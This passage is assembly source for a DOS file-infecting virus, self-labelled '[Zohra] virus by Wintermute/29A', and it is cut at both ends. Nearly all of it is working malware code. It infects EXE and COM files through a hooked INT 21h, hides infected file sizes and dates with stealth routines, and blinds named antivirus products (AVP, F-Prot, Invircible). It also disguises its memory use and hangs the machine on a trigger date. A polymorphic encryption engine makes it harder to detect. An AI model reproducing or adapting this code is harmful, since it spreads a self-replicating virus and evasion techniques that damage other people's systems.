mov dx,3dah ;vertical retrazing of the monitor
del1: in al,dx ;to continue
test al,8
jne del1
del2: in al,dx
test al,8
je del2
pop dx ax
not_delay:
sub bx,4 ; Pointers for black spaces
add si,4
cmp bx,80*25 ; Have we reached the end ?
jnb loop_decrem

zohra_text:
xor bx,bx ; Now we print the Zohra message,
xor di,di ;that is in 'thetext'
push cs
pop ds
lea si,thetext ; ( "Zohra will live forever...
mov cx,1 ; necromancy with her!" )
@print:
mov ah,2h ; We place the cursor at the center
mov dx,0c0eh ;of the screen
add dx,di
int 10h

mov bl,02h ; We print with int10h to give some


lodsb ;color to this ;)
cmp al,0h
jz acabado
mov ah,09h
int 10h

inc di
jmp @print
acabado:
jmp $ ; I love hanging computers X-)

;****************************************************************************
; STEALTH DE FCB
;----------------------------------------------------------------------------

fcb_stealth: ; Stealth on 11h/12h


xchg ah,al
pushf
call dword ptr cs:[Int21h]
test al,al
jnz nada_de_stealth
push es ax bx

mov ah,51h
int 21h
mov es,bx
cmp bx,es:[16h]
jnz Not_infected

mov bx,dx
mov al,byte ptr [bx]
push ax
mov ah,2fh
int 21h
pop ax
inc al
jnz Normal_FCB
add bx,7h
Normal_FCB:
mov al,es:[bx+17h]
and al,1eh
xor al,1eh
jnz Not_infected

sub word ptr es:[bx+1dh],Virus_size+202h


sbb word ptr es:[bx+1fh],0
and byte ptr es:[bx+17h],06bh

Not_infected:
pop bx ax es

nada_de_stealth: retf 2

;*** 5700h

time_stealth:
xchg ah,al ; Returns apparently correct
pushf ;seconds
call dword ptr cs:[int21h]
push cx
and cl,01eh
xor cl,01eh
pop cx
jnz Vietnow
and cl,0eh
Vietnow:
iret

;****************************************************************************
; NEW INT 21h
;----------------------------------------------------------------------------
; Next motherfucker gonna get my metal

; The int21h handler is in "handler_int_21", after this


;( maybe the user likes the U of debug )

before:
popf
xchg ah,al ; To avoid Avp's 'trace warning', which
cmp ax,5700h ;only checks if there is a cmp ah,4bh
jz time_stealth ;instruction
cmp al,11h
jz fcb_stealth
cmp al,12h
jz fcb_stealth
cmp al,4ch
jnz dont_restore_memory
dec byte ptr cs:[flag1] ; Restores last Mcb size to
jnz @nope2 ;protect our virus after out
call push_all_regs ;anti-mem routine.
call get_z_mcb
sub word ptr es:[3],((virus_size/16)*2)+22h
call pop_all_regs
@nope2: jmp nope
dont_restore_memory:
cmp al,03ch
je open_filexz
cmp al,05bh
je open_filexz
cmp al,03dh
je open_filexz
cmp al,06ch
je open_filexz
cmp al,4eh
jz go_handle
cmp al,4fh
jnz non_handle
go_handle: jmp handle
non_handle:
cmp ax,015dbh
jnz tira_venga
jmp install_check
tira_venga: cmp al,4bh
jnz eing
jmp infeccion

eing:
cmp al,3fh ; File read
jnz @nope2
jmp lets_do_stuff

handler_int_21:

pushf ; This routine tries to make


push cs ;the advanced users believe
push offset before ;this isn't a virus: the
push bp ;offset is bigger than 1100h,
mov bp,sp ;so it looks like a normal
add word ptr ss:[bp+4],100h;( and big ) program
pop bp ; The routine itself, returns
retf ;to the real offsets and
;tries also not to look like a
;virus

;****************************************************************************
; Open file handle
;----------------------------------------------------------------------------

open_filexz: ; You can kill yourself now because you're dead in my mind

xchg ah,al
pushf
call dword ptr cs:[int21h]
call push_all_regs

mov dx,'VA' ; Avp ( 3.0beta )


push bx
call get_prog_in_env
pop bx
jc tenemos_al_avp

mov dx,'VI' ; Shitvircible


push bx
call get_prog_in_env
pop bx
jc la_mierda_nos_ronda

push offset @@cont ; Obtain actual Sft


@get_da_sft:
mov ax,1220h
int 2fh
jc @@go_out
xor bx,bx
mov bl,byte ptr es:[di]
mov ax,1216h
int 2fh ; In ES:DI we get the Sft entry that
@@go_out: ret ;belongs to the actual file.
@@cont:
jc go_out
; If it's infected, we reduce it <virus_size>
mov al,byte ptr es:[di+0dh] ; bytes at the file Sft
and al,01eh ;
xor al,01eh
jnz go_out
inc byte ptr [infected_flag]
sub word ptr es:[di+11h],Virus_size+202h
sbb word ptr es:[di+13h],0
jmp go_out

tenemos_al_avp: cmp bx,5 ; I check a pair of values of Avp 3.0b when


jnz go_out ;opening, enough specific to not damage
cmp si,402dh ;older versions: I make zero the opened file
jnz go_out ;size, and Avp 3.0 will detect NO VIRUSES
call @get_da_sft
mov word ptr es:[di+11h],0
mov word ptr es:[di+13h],0

go_out:
call pop_all_regs
definetly: retf 2

la_mierda_nos_ronda:

cmp bx,3b20h ; Ok, I don't think I need more code to


jnz go_out ;make Shitvircible blind... bah, I'm
call pop_all_regs ;sure in a pair of years it's still
stc ;unable to detect my Zohra... Zvi Netiv,
jmp definetly ;guy, your Invircible SUX !!!

install_check:
cmp si,29Ah ; If it's in memory it returns 29A0h in
jnz nope ;SI
mov si,29A0h
iret
nope:
xchg ah,al
jmp salto_a_int21h

;****************************************************************************
; HANDLE STEALTH
;----------------------------------------------------------------------------

handle:
xchg ah,al
pushf ; Handle stealth, functions
call dword ptr cs:[Int21h] ;4eh/4fh
jc handle_out
pushf
push dx ax es bx di

mov dx,'KP' ; Pkunzip, don't stealth


call get_prog_in_env ;when used
jc not_infec

mov dx,'RA' ; Arj, same with it


call get_prog_in_env
jc not_infec

mov dx,'AR'
call get_prog_in_env ; Rar archive
jc not_infec

mov dx,'UU'
call get_prog_in_env ; UUencode utilities
jc not_infec

mov dx,'-F' ; Anti F-prot's anti-stealth


call get_prog_in_env ;( doesn't make stealth when
jc not_infec ;it's executing )

mov ah,2fh
int 21h
mov al,es:[bx+16h]
and al,1eh
xor al,1eh
jnz not_infec
sub word ptr es:[bx+1ah],Virus_size+202h
sbb word ptr es:[bx+1ch],0
and byte ptr es:[bx+16h],06bh
not_infec:
pop di bx es ax dx
popf
handle_out:
retf 2

;****************************************************************************
; INFECT !
;----------------------------------------------------------------------------

infeccion:

xchg ah,al
call push_all_regs
mov si,dx
mov di,ds

xor bp,bp ; For the div


mov ax,3500h
int 21h ; We handle int 00h, divide overflow,
push es bx ;so we only have to make a 'div bp'
mov ah,25h ;to jump to int21h, making the
push ax ;heuristic engines ( even Avp ) not
push cs ;to have any idea of what we are
pop ds ;doing
lea dx,rutinadiv
int 21h

mov ah,2ah ; Puts the first number for the


div bp ;"random" number: month, day, hour
mov word ptr [num_aleat],dx

; Virus activation:
cmp dx,040eh ; Fourteenth of april
jnz noche
jmp payload

noche:
mov ax,3524h
div bp ; Handling of int24h, avoid errors
push bx es
push cs
pop ds
lea dx,int24h
mov ah,25h
div bp
push ax
mov dx,si
mov ds,di
loop_exe: ; Do not infect:
inc si
cmp word ptr ds:[si],'BT' ; Tbav...
jz nos_piramos
cmp word ptr ds:[si],'VA' ; Avp...
jz nos_piramos
cmp word ptr ds:[si],'CS' ; Avscan, Xscan, Scan...
jz nos_piramos
cmp word ptr ds:[si],'VI' ; Invircible
jz nos_piramos
cmp byte ptr ds:[si],0
jz final_cero
jmp loop_exe

final_cero:
mov byte ptr cs:[flag1],0 ; Is Mem.exe executing ?
cmp ds:[si-7],'EM'
jnz nadarl
cmp ds:[si-5],'.M'
jz memory_test
nadarl: cmp ds:[si-7],'IW' ; And Windoze ?
jnz noeswin
cmp ds:[si-5],'.N'
jz ant_memory_test
noeswin:

dec si
dec si
cmp ds:[si],'EX' ; ¨ Is it an .Exe ?
jz Es_un_exe
jmp Podriaseruncom
Es_un_exe:
mov ax,3d02h ; Open r/w
div bp

jnc continua_infecci¢n
nos_piramos: jmp vamonox

ant_memory_test:
lea di,int21h ; Restore original int21h
lds dx,cs:[di]
mov ax,2521h
div bp
Memory_test: ; The virus gets here if the Mem.exe file has been
;executed: if that's right, it adds it's size to the
call get_z_mcb ; last Mcb so it appears the same free
add es:[3],((virus_size/16)*2)+22h ; memory than before
inc byte ptr cs:[flag1] ; installing ( later it's
jmp vamonox ; restored, of course ;) )
Ir_cerrar: jmp cerramos

continua_infecci¢n:
xchg bx,ax
push bx
call @get_da_sft ; Let's go with Sft infection!
pop bx

push es di
lea dx,header ; We read the exe header...
push cs cs
pop ds es
mov ah,3fh
mov cx,01ch
div bp
mov si,dx ; and move it to the second copy
mov di,virus_size+201h+offset header ; of the virus
rep movsb
pop di es

cmp word ptr es:[di+11h],01f40h ; Too little file ?


jb ir_cerrar

;File size=file image+header?


mov ax,word ptr es:[di+11h]
mov dx,word ptr es:[di+13h]
push ax dx
mov ax,word ptr [header+4] ; Number of pages
dec ax
mov cx,200h
mul cx
add ax,word ptr [header+2] ; Last page
adc dx,0 ; dx-ax length of file
pop cx si
cmp cx,dx ; Jumps also if attrib<>0, so
jnz ir_cerrar ;doesn't infect +r files. I
cmp si,ax ;thought to change some
jnz ir_cerrar ;things, but I prefer it this
;way: slowest reproduction

mov al,byte ptr [header] ; Is it MZ ?


add al,byte ptr [header+1]
cmp al,'M'+'Z'
jnz Ir_Cerrar

mov ax,word ptr es:[di+0dh]


and al,1eh ; Is it infected ?
xor al,1eh
jz ir_cerrar
push word ptr es:[di+0dh]
push word ptr es:[di+0fh]

push offset rout_fecha ;( this to be called by the Com


@comp_tiempo: ;infector )
; Doesn't infect if the file date
mov ah,2ah ;is the same today's date ( to avoid
div bp ;bait-files and some antivirus
mov ax,word ptr es:[di+0fh] ;programs that use this like
mov cx,ax ;Shitvircible )
and ax,01fh
cmp al,dl
jnz puedes_seguir
and cx,01e0h
ror cx,5
cmp cl,dh
jnz puedes_seguir
add sp,6h
jmp fecha
puedes_seguir:
ret
rout_fecha:
mov ax,word ptr es:[di+11h]
mov dx,word ptr es:[di+13h]
mov es:[di+15h],ax
mov es:[di+17h],dx
mov cx,10h
div cx
sub ax,word ptr ds:[header+8]
mov byte ptr ds:[1],dl ; Delta offset, we put it in the
;instructions

call copiarse

mov ds:word ptr [cs_ip+2],ax ; We actualize header


inc ax
mov ds:word ptr [ss_sp],ax
mov ds:word ptr [cs_ip],dx
mov ds:word ptr [ss_sp+2],((virus_size+300h-15h)/2)*2
mov ax,word ptr es:[di+11h]
mov dx,word ptr es:[di+13h]
mov cx,200h
div cx
inc ax
mov word ptr [header+2],dx ; File size, etc
mov word ptr [header+4],ax
mov word ptr [header+0ah],((virus_size)/16)+10h

mov word ptr es:[di+15h],0


mov word ptr es:[di+17h],0
mov ah,40h ; Write header
mov cx,01ch
lea dx,header
push cs
pop ds
div bp

fecha:
pop dx cx
mov ax,5701h
or cl,1fh ; New file time
div bp

cerramos:
mov ah,3eh ; Closing
div bp

vamonox:
pop ax ds dx ; Restore int24h
div bp

pop ax ds dx ; Restore int0h


div bp

call pop_all_regs

jmp salto_a_int21h

;****************************************************************************
; 3fh Handler
;----------------------------------------------------------------------------

get_prog_in_env: ; This routine gets the name of the program that


;is executing in this moment; compares the name
;that was sent in Dx with the two first letters
;of it.

mov ah,62h ; Active Psp


int 21h
mov es,bx
mov es,word ptr es:[2ch] ; environment_segment
xor di,di
mov al,0
@find_em: scasb
jnz @find_em
cmp byte ptr es:[di],0
jnz @find_em
add di,3
miremos:
mov bx,word ptr es:[di] ; Compares dx, set by the
cmp dx,bx ;previous routine, with what
jnz sigamos_con_eto ;we've found as file name

stc ; We left the carry set if it


ret ;found it.

sigamos_con_eto:
mov al,5ch ; Searches '\'
joder_busca: scasb
jz miremos
cmp byte ptr es:[di],0h ; Or the end
jnz sigamos_con_eto
volvemos_ya:
clc
ret

;****************************************************************************
; Function 3fh handler
;----------------------------------------------------------------------------

lets_do_stuff: ; I had a little monkey I sent him to the country

xchg ah,al
call push_all_regs
cmp al,1
jz @vete_pues
cmp bx,8
jnz @vete_pues
mov dx,'-F' ; F-prot ?
call get_prog_in_env
jnc @vete_pues
call pop_all_regs

pushf
call dword ptr cs:[int21h]
call push_all_regs
push ds dx ; Breaks F-prot's ability of detecting
pop di es ;viruses: when it reads data from a file,
xor si,si ;the virus sends the interrupt vector table,
mov ds,si ;so F-prot --doesn't detect any virus--
rep movsb

call pop_all_regs
retf 2

@vete_pues:
call pop_all_regs
jmp salto_a_int21h

;****************************************************************************
; Com infection
;----------------------------------------------------------------------------
; 'Pon la mano as¡ como si fueras a pedir...'

nosvamosya:
jmp cerramos

podriaseruncom:

cmp ds:[si],'MO' ; Is it a Com file ?


jnz nosvamosya

mov ax,3d02h ; Open r/w


div bp
jc nosvamosya

sigamosconeto:
xchg ax,bx
push bx
call @get_da_sft ; We get the file sft
pop bx

push cs
pop ds

cmp word ptr es:[di+11h],01f40h ; Too short ?


jb nosvamosya
cmp word ptr es:[di+11h],0ffffh-virus_size-300h
ja nosvamosya ; Too large ?

mov ax,word ptr es:[di+0dh]


and al,1eh ; Infected ?
xor al,1eh
jz nosvamosya
no_rulado_aun:
push word ptr es:[di+0dh] ; Push time/date
push word ptr es:[di+0fh]
call @comp_tiempo

mov ah,3fh
mov cx,3 ; Read first three bytes
lea dx,header+201h+virus_size
div bp

mov al,byte ptr ds:[header+201h+virus_size]


add al,byte ptr ds:[header+202h+virus_size] ;
cmp al,'M'+'Z' ; Exe header ?
jz vamos_a_cerrar

mov ax,word ptr es:[di+11h] ; File length


push ax
sub ax,3
mov word ptr[salto_com+virus_size+202h],ax ; We prepare
mov word ptr es:[di+15h],0 ;first bytes
lea dx,salto_com+virus_size+201h
mov cx,3 ; And write them
mov ah,40h
div bp

pop ax
mov word ptr es:[di+15h],ax
add ax,300h
mov word ptr ds:[1],ax ; For the poly engine

call copiarse ; Jump to copy it


mov byte ptr ds:[2],02h

vamos_a_cerrar:

jmp fecha ; Go to restore date, close.

thetext: db 'Zohra will live forever ! Necromancy with her...',0


nombre: db '[Zohra] virus by Wintermute/29A, dedicated to the best '
db 'Necromancer of the Forgotten Realms,... I assure you '
db 'will live forever, my love... ;)',0

header: db 0ah dup (?)


minalloc: db 0,0
maxalloc: db 0,0
SS_SP: dw 0,offset virus_end+100h
Checksum: dw 0
CS_IP: dw offset host,0,0,0,0,0
salto_com: db 0e9h,0,0
flag1: db 0

encrypt_end label byte


buffer_uuencode equ ((encriptado/7)-1)

buffer: db buffer_uuencode+1 dup (?)

; *********** ENCRYPTION ***********

copiarse:
call push_all_regs
mov bp,virus_size+201h ; second copy
push cs
pop ds

call rut_encriptado ; UUencode encryptor


call poly_engine ; We make decryptor

push dx
mov ah,40h
mov dx,virus_size+1
mov cx,virus_size+202h
pushf
call dword ptr cs:[int21h] ; Copy the virus
pop dx

call encryptit ; Xor decryption


call rut_desencriptado ; UUencode decryption
call pop_all_regs

ret

; These two routines, rut_encriptado and rut_desencriptado are the first


; encryption of the virus; it's same as UUencode programs use to code ascii
; message. I'll explain:
;
; The virus takes one byte of the zone that's going to be encrypted: saves
; in buffer_uuencode it's most significative bit and changes this bit in the
; encrypted zone to 1 ( with an or 080h ). It does this with seven of them,
; making a rol to the byte which contains the original bits; after that, it
; begins with another seven bytes crunch. So that, engines like Tbscan can
; decrypt the Xor routine, but not this one.
;
; To decrypt, just the opposite; it takes each byte of the buffer ( each
; has seven high bits, beeing it's own most significative bit a 1, to
; keep on the UUencode chain ), and it replaces the original ones in the
; virus.

rut_encriptado:
push bx ; File_handle !
mov cx,buffer_uuencode
lea si,encrypt_start+bp ; 7 bytes
bloque_7:
push cx
xchg bx,cx
add bx,bp

lea di,[buffer+bx] ; Block number plus buffer


mov cx,7 ;address
mov dx,1

sigg:
not cs:byte ptr[si] ; Not the bytes
mov al,byte ptr[si]
or byte ptr[si],080h
and al,080h
rol al,1
shl dx,1
add dl,al
inc si
loop sigg
mov byte ptr [di],dl

pop cx
loop bloque_7

pop bx
ret

; DESENCRIPTACION

rut_desencriptado:

push bx ; Save handle


mov cx,buffer_uuencode
lea si,cs:[encrypt_start+bp]

bloques_de_7:

push cx
xchg bx,cx
mov cx,7
add bx,bp
lea di,[buffer+bx]

mov al,byte ptr[di]


rol al,2

un_bloque:
push ax
and al,1
ror al,1
or al,07fh
and byte ptr [si],al ; If Al is 0, it doesn't touch it
not cs:byte ptr [si]
inc si
pop ax
rol al,1
loop un_bloque
pop cx
loop bloques_de_7
pop bx
ret

;***************
;***************

offset_second equ virus_size+201h

poly_engine:

add dx,word ptr [encryptvalue]+offset_second


mov word ptr [encryptvalue]+offset_second,dx

push offset go_here


encryptit:
mov di,offset_second
mov cx,virus_size/2

enc_loop:
xor [di],dx
inc di
inc di
loop enc_loop
ret

; ***************************************************************************
; THE NECROMANTIC MUTATION ENGINE ( NME )
; ***************************************************************************
; The ants are in the sugar, the muscles atrophied

; Set the decryptor variables ( loop pointer, remaining instructions and


;current instruction )

go_here:

mov word ptr [bytes_referencia],0h


mov word ptr [restantes_poly],200h ; n.instr decryptor
mov byte ptr [numero_instruccion],6h ; n.instr funcionales

; This first part of the poly engine fills the blancks of the six blocks
;( 5 bytes each ) in which the decryptor instructions are divided on with
;random instructions.

push cs cs
pop ds es

mov di,3h
mov cx,3
two_times: call aleatorio
and ah,1
jz two_of_one
call inst_2
jmp next_inst_gen
two_of_one: call inst_1
inc di
call inst_1
next_inst_gen: cmp di,0eh
jnz @di0dh
mov di,017h
jmp @loopt
@di0dh: mov di,0dh
@loopt: loop two_times

mov di,011h
mov cx,2
two_times_otavez:
call aleatorio
and ah,1
jz unod1y1d2
and al,1
jz tresd1
call inst_3
jmp next_one_otave
tresd1:
call inst_1
inc di
call inst_1
inc di
call inst_1
jmp next_one_otave
unod1y1d2: and al,1
jz unod2y1d1
call inst_1
inc di
call inst_2
jmp next_one_otave
unod2y1d1:
call inst_2
inc di
call inst_1
next_one_otave:
mov di,01dh ; The last
call inst_1

lea di,instrucciones
xor si,si
mov cx,instrsize
rep movsb

; This part exchanges 50% times Si and Di registers, which are used in
;the decryptor instructions

call aleatorio
and ah,1
jz sin_cambios_sidi
mov byte ptr [instrucciones+7h],0beh
mov byte ptr [instrucciones+10h],0f5h
mov word ptr [instrucciones+15h],03c31h ; ¨ 313c ?
mov word ptr [instrucciones+19h],04646h

sin_cambios_sidi:

; Depending on a random value, cx is obtained by the normal way ( mov cx, )


; or with a mov dx, register, mov cx,dx

call aleatorio
and ah,1
jz cx_acabado
cbw
and ah,1
jz siguiente_abajo
mov byte ptr [instrucciones+0ah],0bbh
mov word ptr [instrucciones+0dh],0d989h
jmp cx_acabado
siguiente_abajo:
and al,1
jz cx_con_dx
mov byte ptr [instrucciones+0ah],0b8h
mov word ptr [instrucciones+0dh],0c189h
jmp cx_acabado
cx_con_dx:
mov byte ptr [instrucciones+0ah],0bah
mov word ptr [instrucciones+0dh],0d189h
cx_acabado:

; To finish preparing the decrypting routine, we push the instructions that


;modify si, di and cx in the decryptor, and pop them randomly.

push dx
mov byte ptr [variable_inst],00000111b
mov cx,015d ; Copy the 15 bytes of the
lea si,instrucciones+5 ;instructions to the uuencode
lea di,buffer ;buffer ( unused )
push di
rep movsb
pop si

ver_si_esta_hecho:
mov al,byte ptr [variable_inst]
mov dl,al ; Then, restore them in a
or al,al ;random order
jz acabado_pop_inst
call aleatorio
and ah,1
jz popfirst
and al,1
jz popsecond
and dl,100b ; First instruction ( five
jz ver_si_esta_hecho ;bytes )
and byte ptr [variable_inst],11111011b
lea di,instrucciones+0fh
jmp popfivebytes

popfirst:
and dl,1b ; Second one
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111110b
lea di,instrucciones+0ah
jmp popfivebytes

popsecond:
and dl,10b ; Third
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111101b
lea di,instrucciones+5h
popfivebytes:
mov cx,5d ; Replace
rep movsb
jmp ver_si_esta_hecho
acabado_pop_inst:
pop dx

; The modification of the instructions of the decryptor finishes here with


;all changes made: the originals are kept at the beggining of the virus in
;memory. The posible 'final loop' exchange is made when writing the
;decryptor

; Here begins the main zone of the code generator; where it's decided
;what generator to use and random instructions are copied at the
;decryptor.

mov di,virus_size+1
centro_poly:
mov ax,word ptr [restantes_poly] ; Remaining
mov cx,ax ;instructions
and cx,cx
jnz sigamos_decriptor
jmp acabamos_decryptor ; Checks
sigamos_decriptor:
cmp cx,@getmcb-ant_debug
jae @cont_decrr
cmp byte ptr [numero_instruccion],1
jz @@call_decryptgen
@cont_decrr:
dec cx
jz @@call_inst_1
dec cx
jz @@call_inst_2
dec cx
jz @@call_inst_3

mov cx,55h ; Do we need to put one of the decryptor


div cl ;instructions ?
inc al
cmp byte ptr[numero_instruccion],al
ja @@call_decryptgen

cmp byte ptr[numero_instruccion],1


jnz @continuemos ; To avoid the loop from going
mov ax,di ;out of range
sub ax,word ptr [loop_site]
cmp ax,70h
jae @@call_decryptgen
@continuemos:
call aleatorio
and ah,1
jz @@trestipos
and al,1
jz @@call_inst_4
@@call_inst_1: call inst_1
dec word ptr [restantes_poly]
inc di
jmp centro_poly
@@call_inst_4: call inst_4
add di,4
sub word ptr [restantes_poly],4
jmp centro_poly

@@trestipos: cbw
and ah,1
jz @@inst_2odec
and al,11b
jz @@call_sub
@@call_inst_3: call inst_3
add di,3
sub word ptr[restantes_poly],3
jmp centro_poly
@@inst_2odec: and al,111b ; Low probability
jnz @@call_inst_2
@@call_decryptgen:
call gen_instruction
jmp centro_poly
@@call_inst_2: call inst_2
inc di
sub word ptr[restantes_poly],2
@fix1: jmp centro_poly
@@call_sub: cmp word ptr[restantes_poly],@getmcb-ant_debug
jb @fix1
call inst_5
add di,si
sub word ptr[restantes_poly],si ; Long non fixed size
jmp centro_poly ;routine

acabamos_decryptor:
ret

instrsize equ instr_end-instr_start

instr_start label byte

; Decryptor instructions list; divided into five-bytes blocks.

instrucciones:

mov bp,0200h
db 90h,90h ; variable ( junk gen )
;5
mov si,cs:word ptr [encryptvalue+bp]
;A
mov cx,virus_size/2
db 90h,90h
;F
mov di,bp
db 90h,90h,90h

loop_dec: ;14h
xor word ptr cs:[di],si
db 90h,90h
;19h
inc di
inc di
loop loop_dec
db 90h ;1dh
; db 90h,90h,90h

instr_end label byte

;*******************************************
; Decryptor values
;--------------------

Restantes_poly: dw 200h ; Remaining instructions counter


Numero_instruccion: db 6 ; Instruction number
num_aleat: dw 1250h ; Aleatory number counter
variable_inst: db 7h ; 0111b
loop_site: dw 0h ; Looping allocation Offset
bytes_referencia: dw 0h ; Reference for instructions

; This returns a random number in Ax after making some operations.

aleatorio:
mov ax,word ptr[num_aleat]
call aleat2
aleat2: ror ax,5 ; The seed number is stablished in each
add ax,1531h ;infection by the date, and modified
push cx dx ax ;by the minutes ( but in Al, the last
mov ah,2ch ;used, to contribute to the slow poly )
int 21h ;and hour.
pop ax
add ah,ch
pop dx cx
rol ax,1
neg ax
sub ax,2311h
ror ax,3
not ax
mov word ptr[num_aleat],ax
ret

; Instructions generators: the required instructions are generated and


;copied in es:di, which points to the decryptor in memory

; Main generator: Copies a decryptor instruction in es:di, with special


;care for the final loop

gen_instruction:
mov al,byte ptr [numero_instruccion]
and al,al
jz @vasmosnos
dec al
jz @preparar_loop
dec al
jz @guardar_paraloop
@gen_ya:
dec byte ptr [numero_instruccion]
lea si,instrucciones
add si,word ptr [bytes_referencia]
add word ptr [bytes_referencia],5h

mov cx,5
rep movsb
sub word ptr[restantes_poly],5h

@vasmosnos: ret
@guardar_paraloop:
mov word ptr [loop_site],di
jmp @gen_ya

@preparar_loop:
mov ax,0fch
mov si,di
mov cx,word ptr [loop_site]
sub si,cx
sub ax,si
mov cx,word ptr[num_aleat]
and cl,1
jz @make_a_jnz
mov byte ptr [instrucciones+01ch],al
jmp @gen_ya
@make_a_jnz:
mov word ptr [instrucciones+01bh],7549h
dec ax
mov byte ptr [instrucciones+01dh],al
jmp @gen_ya
; Generator ----> One byte length instructions generator

inst_1:
call aleatorio
and al,3h
jnz @cont_a1
mov byte ptr es:[di],90h
ret
@cont_a1: and ah,1
jz @cont_a2
call aleatorio
and ah,1h
jz @cont_a2_2
and al,1h
jz @cont_a2_1_1
call aleatorio
and al,1h
jz @cont_a2_2_1
mov byte ptr es:[di],42h ; inc dx
ret
@cont_a2_2_1: mov byte ptr es:[di],43h ; inc bx
ret
@cont_a2_1_1: mov byte ptr es:[di],40h ; inc ax
ret
@cont_a2_2: call aleatorio
and al,1h
jnz @cont_a2_2_2
mov byte ptr es:[di],48h ; dec ax
ret
@cont_a2_2_2: and ah,1h
jz @cont_a2_2_2_2
mov byte ptr es:[di],4bh ; dec bx
ret
@cont_a2_2_2_2: and al,1h
mov byte ptr es:[di],4ah ; dec dx
ret
@cont_a2: call aleatorio
and al,3h
jz @cont_a2_11
and ah,3h
jz @cont_a2_12
call aleatorio
and al,3h
jz @cont_a2_2_11
and ah,3h
jz @cont_a2_2_12
call aleatorio
and al,1
jz @cont_a2_2_13
mov byte ptr es:[di],0cch ; int 3h
ret
@cont_a2_2_11: mov byte ptr es:[di],9fh ; lahf
ret
@cont_a2_2_12: mov byte ptr es:[di],99h ; cwd
ret
@cont_a2_2_13: mov byte ptr es:[di],98h ; cbw
ret
@cont_a2_11: mov byte ptr es:[di],0F9h ; stc
ret
@cont_a2_12: mov byte ptr es:[di],0F8h ; clc
ret
; Generator ----> Two bytes length instructions

inst_2:
call aleatorio
and ah,1h
jz @cont_sub
cbw
and ah,1h
jz sigunvm
jmp @cont_xor
sigunvm:
jmp @cont_mul
@cont_sub:
mov byte ptr es:[di],2bh
inc di
cbw
and al,1
jz @cont_bsub_ax
and ah,1
jz @cont_bsub_dx
call aleatorio
and ah,1
jz @cont_bsub_bx_dxdisi
and al,1
jz @cont_bsub_bx_cx
mov byte ptr es:[di],0d8h ; sub bx,ax
ret
@cont_bsub_bx_cx:
mov byte ptr es:[di],0d9h ; sub bx,cx
ret
@cont_bsub_bx_dxdisi:
cbw
and ah,1
jz @cont_bsub_bx_dx
and al,1
jz @cont_bsub_bx_di
mov byte ptr es:[di],0deh ; sub bx,si
ret
@cont_bsub_bx_di:
mov byte ptr es:[di],0dfh ; sub bx,di
ret
@cont_bsub_bx_dx:
mov byte ptr es:[di],0dah ; sub bx,dx
ret
@cont_bsub_ax:
call aleatorio
and ah,1
jz @cont_bsub_ax_dxdisi
and al,1
jz @cont_bsub_ax_cx
mov byte ptr es:[di],0c3h ; sub ax,bx
ret
@cont_bsub_ax_cx:
mov byte ptr es:[di],0c1h ; sub ax,cx
ret
@cont_bsub_ax_dxdisi:
cbw
and ah,1
jz @cont_bsub_ax_dx
and al,1
jz @cont_bsub_ax_di
mov byte ptr es:[di],0c6h ; sub ax,si
ret
@cont_bsub_ax_di:
mov byte ptr es:[di],0c7h ; sub ax,di
ret
@cont_bsub_ax_dx:
mov byte ptr es:[di],0c2h ; sub ax,dx
ret
@cont_bsub_dx:
call aleatorio
and ah,1
jz @cont_bsub_dx_sidicx
and al,1
jz @cont_bsub_dx_bx
mov byte ptr es:[di],0d0h ; sub dx,ax
ret
@cont_bsub_dx_bx:
mov byte ptr es:[di],0d3h ; sub dx,bx
ret
@cont_bsub_dx_sidicx:
cbw
and ah,1
jz @cont_bsub_dx_cx
and al,1
jz @cont_bsub_dx_di
mov byte ptr es:[di],0d6h ; sub dx,si
ret
@cont_bsub_dx_di:
mov byte ptr es:[di],0d7h ; sub dx,di
ret
@cont_bsub_dx_cx:
mov byte ptr es:[di],0d1h ; sub dx,cx
ret

@cont_xor:
mov byte ptr es:[di],033h
inc di
call aleatorio
and ah,1
jz @cont_xor_4last
cbw
and ah,1
jz @cont_xor_34
and al,1
jz @cont_xor_2
mov byte ptr es:[di],0c0h ; xor ax,ax
ret
@cont_xor_2:
mov byte ptr es:[di],0c3h ; xor ax,bx
ret
@cont_xor_34:
and al,1
jz @cont_xor_4
mov byte ptr es:[di],0c2h ; xor ax,dx
ret
@cont_xor_4:
mov byte ptr es:[di],0dbh ; xor bx,bx
ret
@cont_xor_4last:
cbw
and ah,1
jz @cont_xor_78
and al,1
jz @cont_xor_6
mov byte ptr es:[di],0d8h ; xor bx,ax
ret
@cont_xor_6:
mov byte ptr es:[di],0dah ; xor bx,dx
ret
@cont_xor_78:
and al,1
jz @cont_xor_8
mov byte ptr es:[di],0d2h ; xor dx,dx
ret
@cont_xor_8:
mov byte ptr es:[di],0d0h ; xor dx,ax
ret

@cont_mul:
mov byte ptr es:[di],0f7h
inc di
call aleatorio

and ah,1
jz @cont_divmul_34
and al,1
jz @cont_divmul_2
mov byte ptr es:[di],0e3h ; mul bx
ret
@cont_divmul_2:
mov byte ptr es:[di],0e1h ; mul cx
ret
@cont_divmul_34:
and al,1
jz @cont_divmul_4
mov byte ptr es:[di],0e6h ; mul si
ret
@cont_divmul_4:
mov byte ptr es:[di],0e7h ; mul di
ret

; Generator ----> Three bytes long instructions

inst_3:
call aleatorio
mov si,ax
inc si ; We don't want a 0ffffh
jz inst_3
dec si
and ah,1
jz @add_or_sub_ax
and al,1
jz @mov_dx_inm
mov byte ptr es:[di],0bbh ; mov bx,reg
mov word ptr es:[di+1],si
ret
@mov_dx_inm: mov byte ptr es:[di],0bah ; mov dx,reg
mov word ptr es:[di+1],si
ret
@add_or_sub_ax: and al,1
jz @mov_mem_ax
mov byte ptr es:[di],05h ; add ax,reg
mov word ptr es:[di+1],si
ret
@mov_mem_ax: mov byte ptr es:[di],0a1h ; mov ax,mem
mov word ptr es:[di+1],si
ret
; Generator ----> Four bytes instructions

inst_4: call aleatorio


mov si,ax
inc si
jz inst_4
dec si
and ah,1
jz @q_seg_parte
cbw
and ah,1
jz @q_movdxobx
and al,1
jz @q_subbxfuck
mov word ptr es:[di],019b4h ; Get drive function
mov word ptr es:[di+2],021cdh
ret
@q_subbxfuck: mov word ptr es:[di],0eb81h
mov word ptr es:[di+2],si
ret
@q_movdxobx: and al,1
jz @q_movdx_mem
mov word ptr es:[di],01e8bh
mov word ptr es:[di+2],si
ret
@q_movdx_mem: mov word ptr es:[di],0168bh
mov word ptr es:[di+2],si
ret
@q_seg_parte: cbw
and ah,1
jz @q_seg_sub
mov word ptr es:[di],0c281h
mov word ptr es:[di+2],si
and al,1
jz @nosvamos_4
